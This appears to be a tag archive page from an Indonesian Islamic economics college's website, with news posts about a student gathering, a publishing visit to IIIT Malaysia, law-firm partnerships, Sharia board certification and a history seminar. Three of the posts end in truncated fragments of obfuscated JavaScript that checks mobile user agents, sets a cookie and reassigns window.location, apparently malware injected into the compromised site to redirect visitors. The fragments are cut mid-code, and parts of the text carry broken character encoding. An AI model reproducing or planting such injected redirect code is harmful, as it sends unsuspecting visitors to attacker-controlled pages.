All posts tagged: muamalah

International Class Gathering, Start Your Future With Us

No comments

Dalam mewujudkan visi misi Sekolah Tinggi Ekonomi Islam (STEI)Tazkia sebagai perguruan tinggi pilihan bagi calon pemimpin bisnis dan intelektual kelas dunia berkarakter T.A.Z.K.I.A. pada tahun 2025, STEI Tazkia membuka International Program untuk tiga departemen, yaitu Akuntansi Islam, Ekonomi Islam dan Manajemen Bisnis Syariah. Dan pada hari selasa, 19 februari 2019/ 14 jumadil akhir 1440 H International Program mengadakan acara yang bertajuk Islamic Class Gathering Fun Game And Sharing Session With Head Of  Department dengan tema “the future depends on what you do today”.

Dibuka dengan pembacaan ayat suci al-Qur’an oleh saudara Yusuf dari angkatan 16 EI (Ekonomi Islam), acara yang dikemas dengan fun game ini dihadiri oleh mahasiswa yang tergabung dalam program international class angkatan 16 dan 17. Dilanjut dengan game ranking satu yang dimenangkan oleh saudari Zahra dari angkatan 17 EI. Lalu saudari Dewi Rabbani membagikan pengalamannya selama berada di international class yang merupakan angkatan pertama yang dijadikan Pilot Project untuk program ini, namun Alhamdulillah dengan kegigihan dan komitmen yang kuat untuk mampu menjadi manusia yang lebih baik, masa-masa sulit awal perkuliahan di mana segala proses perkuliahan menggunakan bahasa inggris terlewati sudah.

Tujuan diselenggarakannya acara ini yakni untuk meningkatkan antusiasme, motivasi dan orientasi ulang kepada mahasiswa kelas internasional dengan agenda utamanya adalah sharing session dengan para kaprodi (kepala departemen) di STEI Tazkia. Mereka adalah Grandis Imama H, M. Sc (Acc) Kepala Departemen Akuntansi Islam, Nashr Akbar, M. Ec Kepala Departemen Ekonomi Islam dan ThubaJazil, M. Sc (Fin) Kepala Departemen Manajemen Bisnis Syariah. Dipandu oleh Miss Anita selaku head of international class, ketiga kaprodi yang merupakan jebolan IIUM ini berbagi pengalaman ketika menimba ilmu di negeri jiran Malaysia, yang mana bahasa sangat diperlukan dalam berkomunikasi dengan dosen dan mahasiswa dari berbagai belahan dunia. Tidak hanya itu, Mr. Grandis mengatakan bahwa kita harus mempunyai komitmen dalam belajar bahasa. bagitu pun Mr. Nashr memberikan wejangan “learning language is the key for success in the future, so we must up-grading our language especially english language, don’t be shy to practice english and afraid with the grammar, but just talk what you have in your mind. Dan pamungkas Mr. Thuba menutup dengan motivasi yang sangat dalam “ketika kita merasa putus asa dan benar-benar sedang jatuh ingatlah wajah ibumu, so don’t giving up! find your mentor!

 

Miftahul AnwarInternational Class Gathering, Start Your Future With Us
read more

Rombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia

No comments

Publikasi karya ilmiah dari hasil penelitian dan pemikiran adalah sebuah keniscayaan, ia adalah salah satu dari bukti nyata ilmu pengetahuan yang dapat diaplikasikan oleh masyarakat. Namun jika karya ilmiah tersebut hanya dipublikasikan pada kalangan internal saja tentu juga tidak menunjukan kualitas yang baik dari para penulisnya. Solusinya adalah seleksi ketat agar setiap karya ilmiah dapat diterbitkan oleh lembaga eksternal, khususnya lembaga yang memiliki kredibilitas nasional dan internasional.

Guna mencapai publikasi karya ilmiah bertaraf internasional, maka pada 9 Agustus 2018/ 27 Dzulqa’dah 1439 H, STEI Tazkia melakukan kunjungan ke kantor International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia. Rombongan kunjungan yang dipimpin langsung oleh Ketua STEI Tazkia Dr. Murniati Mukhlisin, M.Acc diterima langsung oleh Datuk Jamil selaku pejabat IIIT di kantornya komplek International Islamic University Malaysia (IIUM).
Kunjungan ini mendiskusi kerjasama penerbitan antara Tazkia Press (STEI Tazkia) dengan pihak IIIT . Pihak STEI Tazkia mengajukan 10 Judul buku yang nantinya akan diseleksi untuk diterbitkan di lembaga penerbitan bertaraf internasional ini. Dr. Jamil menyebutkan bahwa proses penerbitan di lembaganya dilakukan dengan seleksi yang sangat ketat, khsususnya untuk isu-isu Islamisasi ilmu pengetahuan. Hal ini karena banyak akrya ilmiah yang ada tidak memiliki ruh dan islamic worldview yang jelas. Beliau berharap STEI Tazkia selalu istiqamah dalam upaya melakukan islamisasi ilmu pengetahuan khususnya dalam bidang ekonomi Islam. Salah satunya adalah dengan menerbitkan karya ilmiah dan buku para dosennya.


Dr. Murniati Mukhlisin menyampaikan bahwa penulisan buku teks khususnya bagi para dosen di STEI Tazkia terus digalakkan. a�?Kami sangat mendorong para dosen untuk menghasilkan karya yang nantinya akan menjadi buku daras tidak hanya bagi mahasiswa Tazkia namun juga bagi kampus lainnyaa�?. Hal ini diaminkan oleh Dr. Abdurrahman Misno BP, MEI, selaku Kepala Program Studi Hukum Ekonomi Syariah (Muamalah) yang juga menjadi anggota dalam kunjungan ini. Ia mengungkapkan bahwa publikasi yang baik diawali dengan riset mendalam serta seni dalam menyusun sebuah karya ilmiah.
Hasil dari kunjungan ini adalah dilakukan kerjasama untk terus meningkatkan publikasi artikel dan buku para dosen dan civitas akademika STEI Tazkia tidak hanya bagi internal namun juga untuk pihak eksteral dan bertaraf international. Inilah cita-cita STEI Tazkia untuk menjadi perguruan tinggi kelas dunia yang memiliki spesialisasi dalam bidang ekonomi Islam. Drm. i(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaRombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia
read more

Ada Berkah di Setiap Sinergi Ekonomi Syariah

No comments

Sentul City, 23 Maret 2018 M. / 6 Rajab 1439 H.

Sinergi adalah keniscayaan dalam menghadapi globalisasi. Saling mengenal, memahami, membantu, menolong dan kerjasama adalah sarana dalam mencapai keberkahan. Hal ini sebagaimana sabda Nabi Muhammad SAW “Sesungguhnya Allah bersama dua orang yang berserikat… “.
STEI Tazkia mengaplikasikan hadits Nabi yang Mulia ini dalam bentuk Memorandum of Understanding (MOU), melalui Program Studi Hukum Ekonomi Syariah (Muamalah) melakukan kerjasama dengan Karimsyah Law Firm, sebuah kantor pengacara ternama di kancah nasional.
MOU yang dilakukan antara STEI Tazkia dan Karimsyah Lawfirm dalam ruang lingkup, magang, riset dan training bidang Hukum Bisnis Syariah.
Dr. Murniati Mukhlisin, M. Acc menyambut baik MOU dengan menyatakan bahwa sudah saatnya sinergi itu dilakukan karena ia merupakan pintu-pintu keberkahan.
Sementara dari Karimsyah Lawfirm Bapak Mirza A Karim, LLM Menyatakan bahwa saat ini Indonesia kekurangan para ahli legal drafter dan ahli sengketa ekonomi syariah.
Penandatanganan ini merupakan rangkaian Pendidikan dan Pelatihan Aspek Hukum Ekonomi Syariah di Indonesia yang diselenggarakan oleh Prodi Muamalah.
“Keahlian Legal Drafting dan Ahli Sengketa Ekonomi Syariah adalah salah satu dari keahlian yang harus dimiliki mahasiswa Prodi Muamalah” ungkap Dr. Abdurrahman Misno BP, MEI selaku Kepala Prodi Hukum Ekonomi Syariah STEI Tazkia.
Adhen mahasiswa Muamalah angkatan 16 menyatakan “Pelatihan ini sangat bermanfaat buat kami, namun kalau bisa waktunya ditambah lagi karena dua hari di rasa kurang”. Menyikapi hal inu Dr. Misno berjanji akan terus mengadakan kegiatan sejenis bagi mahasiswa. “Ini komitmen Prodi Muamalah untuk mahasiswanya, menjadikan mereka sudah siap di industri ekonomi syariah” jawab Dr. Misno, MEI.


Pelatihan dan MOU ini semakin membuktikan bahwa STEI Tazkia semakin komitmen untuk membekali mahasiswanya dengan kemampuan teori yang mendalam dan pemahaman praktik yabg komprehensif. drm. |mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaAda Berkah di Setiap Sinergi Ekonomi Syariah
read more

Dewan Pengawas Syariah (DPS) Muda, Siapa Takut?

No comments

Oleh: Dr. Abdurrahman Misno BP, MEI
Kepala Program Studi Hukum Ekonomi Syariah (Muamalah) STEI Tazkia

Salah satu dari permasalahan yang saat ini dihadapi oleh para fresh graduate adalah persaingan di dunia kerja. Terbatasnya jumlah lowongan kerja tidak berbanding lurus dengan jumlah lulusan perguruan tinggi, akibatnya banyak sarjana muda yang menganggur. Hal ini tentu saja tidak boleh dibiarkan terus-menerus, harus ada upaya baik dari pemerintah ataupun masyarakat mengurangi pengangguran intelektual ini. Salah satu langkah strategis yang dilakukan adalah membekali mahasiswa dengan keterampilan yang memang diperlukan oleh industri bukan hanya mengajarkan teori namun menyiapkan mereka untuk ready dan close to industri adalah langkah yang tidak bisa lagi ditawar.
Industri yang terus bergerak cepat juga meniscayakan perguruan tinggi untuk terus berpacu menyesuaikan diri. Trend sertifikasi profesi yang mulai berkembang di Indonesia menjadi strategi jitu dalam menyiapkan mahasiswa agar bisa memasuki dunia kerja sesuai dengan program studi yang diambilnya. Sertifikasi profesi yang dimiliki oleh seorang fresh graduate menjadi senjata ampuh bagi persaingan kerja di dunia industri.
STEI Tazkia sebagai perguruan tinggi yang memiliki diferensiasi dan dikenal close to industri sangat komitmen dengan hal ini. Pemberian keahlian yang tidak hanya secara teori diajarkan dengan mengaju kepada Kerangka Kualifikasi Nasional Indonesia (KKNI), hasilnya mahasiswa memahami teori yang diajarkan sekaligus implementasinya di lapangan. Lebih dari itu adalah komitmen STEI Tazkia untuk membekali lulusannya dengan sertifikasi profesi yang menjadi kebutuhan industri. Saat ini STEI Tazkia telah membekali mahasiswa yang akan lulus dengan sertifikasi profesi seperti Microsoft Office Specialist (MOS), Brevet A-B Terpadu dan C, Sertifikasi Managemen Perbankan Syariah, Ajun Ahli Asuransi Indonesia Jiwa (AAIJ) dan bidang profesi lainnya.


Program Studi Hukum Ekonomi Syariah (Muamalah) sebagai program studi yang mengkhususkan diri mengkaji hukum ekonomi dengan target lulusan mahasiswa menguasai ilmu fiqh ekonomi Islam yang dipadukan dengan hukum ekonomi nasional saat ini telah sampai pada tahap pembekalan sertifikasi profes bagi para mahasiswanya. a�?Program Studi ini menyiapkan mahasiswa untuk mampu menjadi Dewan pengawas Syariah (DPS) di berbagai lembaga keuangan syariah (LKS)a�? papar Dr. Abd. Misno BP, MEI selaku Kepala Program Studi Hukum Ekonomi Syariah (Muamalah). Guna mewujudkan hal ini maka, Prodi ini menjalin kerjasama dengan DSN MUI khususnya DSN Institute dengan membekali mahasiswanya sertifikasi Dewan Pengawas Syariah (DPS) khususnya dalam bidang Koperasi Syariah dan LKM. a�?Kami sangat menyambut baik kerjasama ini, karena saat ini DSN sangat membutuhkan calon-calon pengawas syariah yang memiliki kemampuan fiqh dan analisa yang kuat tentang bisnis syariaha�? demikian kata Ust. Dr. Azhaarudin Latif, MH selaku direktur DSN Institute. Ia melanjutkan bahwa dewan pengawas syariah tidak mesti tokoh terkenal yang sudah senior, justru kami sangat mengharapkan alumni dari perguruan tinggi Islam yang kuat dari ilmu fiqh dan memahami praktik bisnis modern, salah satunya adalah mahasiswa dan alumni prodi Muamalah STEI Tazkia.
Langkah ini diambil Prodi HES agar lulusannya telah siap menjadi dewan pengawas syariah, usia tentu saja tidak menjadi halangan karena ilmu dan pemahaman yang mendalam mengenai praktik ekonomi dan bisnis syariah adalah modal utama untuk menjadi dewan pengawas syariah. Semoga prodi ini semakin berjaya, sehingga akan memberikan sumbangan positif bagi perkembangan ekonomi syariah di Indonesia dan dunia. Sehingga ke hadapan ekonomi syariah semakin selaras dengan nilai-nilai Islam yang kita harapkan bersama. @drmisnomei.

Rizqi ZakiyaDewan Pengawas Syariah (DPS) Muda, Siapa Takut?
read more

Sinergi Industri Program Study Muamalah STEI Tazkia dengan Karimsyah & Pathners

No comments

Jakarta, 17 Januari 2018.
Salah satu problem yang dihadapi oleh perguruan tinggi berkaitan dengan kemampuan mahasiswanya adalah terjadinya gap antara teori dan aplikasi suatu ilmu di masyarakat. Adanya ketidaksinkronan antara teori yang dipelajari dengan praktik yang ada di lapangan, hal ini mengakibatkan banyaknya alumni perguruan tinggi yang tidak siap untuk memasuki pasar tenaga kerja. Efeknya adalah para sarjana yang menjadi pengangguran. Fenomena ini terjadi tidak hanya pada kampus kampus swasta namun juga terjadi pada kampus negeri yang masih kurang memperhatikan penting nya link and match dalam kurikullum mereka.
STEI Tazkia sebagai satu-satunya Kampus Pioner Ekonomi Islam telah mendobrak gap tersebut. Salah satu langkah yang dilakukan adalah rekonstruksi kurikulum yang dilakukan secara rutin dengan menyesuaikannya dengan industri.
Langkah praktis selanjutnya yang dilakukan adalah menjalin kerjasama lebih erat dengan industri. Sebagai kampus yang telah lama dikenal dekat dengan industri syariah kembali STEI Tazkia membuktikan kepeloporannya dalam hal ini. Program Studi Hukum Bisnis Islam yang langsung diwakili oleh Kepala Program Studinya yaitu Dr. Abdurrahman Misno BP, MEI melakukan kunjungan sekaligus usaha untuk semakin mendekatkan prodi ini ke Industri.
Kunjungan kali ini adalah ke Karimsyah and Pathners sebagai law firm terkemuka di Indonesia dalam industri ekonomi Syariah. “Kami akan terus menjalin hubungan dengan industri agar mahasiswa dan alumni kami memamahi dunia kerja yang sebenarnya” ungkap Dr. Misno. Ia menambahkan bahwa beberapa butir kesepakatan akan segera ditindaklanjuti, diantaranya adalah; pelatihan legal drafter, program magang, pemateri dalam Islamic Law Days, penelitian skripsi mahasiswa dan dosen serta kerjasama dalam sosialisasi sengketa ekonomi Syariah.
Mudah-mudahan kerjasama ini akan terus berlanjut sehingga Tazkia semakin mampu membuktikan diri sebagai kampus pelopor ekonomi syariah yang memiliki jaringan kuat ke Industri. ambp. wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSinergi Industri Program Study Muamalah STEI Tazkia dengan Karimsyah & Pathners
read more

Studium General Program Studi Hukum Ekonomi Syariah (Muamalah) Sejarah Hukum Ekonomi Syariah di Dunia Melayu

1 comment

Perkembangan Ekonomi Syariah yang terus meningkat, hal ini terbukti dengan meningkatnya jumlah lembaga keuangan syariah serta berbagai layanan sosial yang berbasis syariah. Kebangkitan awal dari ekonomi Islam ditandai dengan berkembangnya lembaga keuangan syariah, minimal sejak tahun 1992. Sejak tahun 2017 ekonomi syariah telah memasuki periode kedua yaitu kebangkitan ekonomi syariah pada sektor real. Hal ini ditandai dengan berkembangnya secara pesat Koperasi 212 di seluruh wilayah Indonesia.

Sebagai wilayah yang kaya dengan berbagai sumber daya alam, Indonesia adalah lahan subur bagi perkembangan ekonomi syariah. Selain itu, Indonesia juga kaya dengan sejarah masa lalu yang telah mencapai mercu suar kebangkitan Islam khususnya dalam masalah hukum ekonomi syariah.
Kajian dan diskusi mengenai sejarah hukum ekonomi syariah belum banyak dilakukan oleh para peneliti, seolah-olah ia hanya berita masa lalu yang tidak penting untuk dikaji. Padahal sebuah pepatah lama menyatakan a�?Hana Nguni Hana Mangke, Tan Hana Nguni Tan Hana Mangkea�?, maksudnya adalah bahwa adanya hari ini adalah karena adanya masa lalu demikian pula adanya masa depan adalah karena adanya hari ini. Maka ketika hukum ekonomi syariah saat ini sedang mengalami pertumbuhan, maka sejatinya ia juga telah mengalami masa puncak kejayaan khususnya pada masa kejayaan Kesultaan di Indonesia dan juga di dunia melayu.
Salah satu dari fakta sejarah yang ada diantaranya adalah Kesultanan Banten. Kesultanan ini telah memiliki Mata Uang Sendiri, mengangkat seorang Syahbandar sebagai Wilayah Hisbah di Pasar, menjadikan Qadhi sebagai Hakim dalam Sengketa Ekonomi Syariah dan Sistem Ekonomi Syariah yang menjadi bagian tak terpisahkan dari Kesultanan. Maka, Gilang-gemilang Hukum Ekonomi Syariah pada masa lalu menjadi Kaca Benggala bagi generasi setelahnya.
Melihat fakta ini maka STEI Tazkia melalui Program Studi Hukum Ekonomi Syariah (Muamalah) mengadakan Studium General yang mendiskusikan mengenai Sejarah Hukum Ekonomi Syariah di Dunia Melayu). Tidak tanggung-tanggung, Studium General ini menghadirkan pakar sejarah pemikiran Islam dari Universiti Sains Malaysia yaitu Prof. Dr. Mohammad Mozzamil Mohammad Noor yang mempresentasikan mengenai pentingnya sejarah bagi generasi masa kini. Jika ekonomi Islam ingin berkembang maka mau tidak mau harus melihat bagaimana kejayaan Kesultanan Islam di Dunia Melayu khususnya dalam bidang ekonomi. Ia juga menyatakan bahwa Studium General ini sangat penting karena akan membuka mata dunia bahwa ekonomi syariah sejatinya telah ada di Nusantara ini, bahkan ia telah berjaya membawa kemakmuran wilayah ini.
Pembicara kedua yaitu Dr. Abdurrahman Misno BP, MEI lebih detail menjelaskan salah satud ari bukti sejarah yang selama ini ditutup-tutupi oleh penjajah yaitu kegemilangan ekonomi Islam di Kesultanan Banten. Ketua Program Studi Muamalah ini memberikan data-data tidak terbantahkan mengenai hukum ekonomi syariah yang telah ada dan berjaya di Kesultanan Banten. Beliau juga berharap kajian mengenai Sejarah Hukum Ekonomi Syariah harus terus dilanjutkan sebagai bentuk membumikan ekonomi Syariah di dunia Melayu.
Acara yang dihadiri oleh mahasiswa STEI Tazkia, Praktisi hukum Ekonomi Syariah dan masyarakat umum berjalan dengan hangat. Kami berharap studium general seperti ini akan sering dilakukan oleh berbagai prodi yang ada di STEI Tazkia. Harapan ini langsung diamini oleh ketua panitia, Akh Sirril Wafa menyatakan bahwa Prodi Muamalah telah berazam untuk menjadi pionner dalam kajian dan studi hukum Ekonomi Syariah. Setiap pekan kami akan membuat program untuk kajian dan diskusi mengenai muamalah. Insya Allah pada tanggal 20 Januari juga akan dilaksanakan Workshop Penyelesaian Sengketa Waris, seteah itu akan berlanjut dengan workshop, training dan sosialisaisi lainya. (ambp).

Rizqi ZakiyaStudium General Program Studi Hukum Ekonomi Syariah (Muamalah) Sejarah Hukum Ekonomi Syariah di Dunia Melayu
read more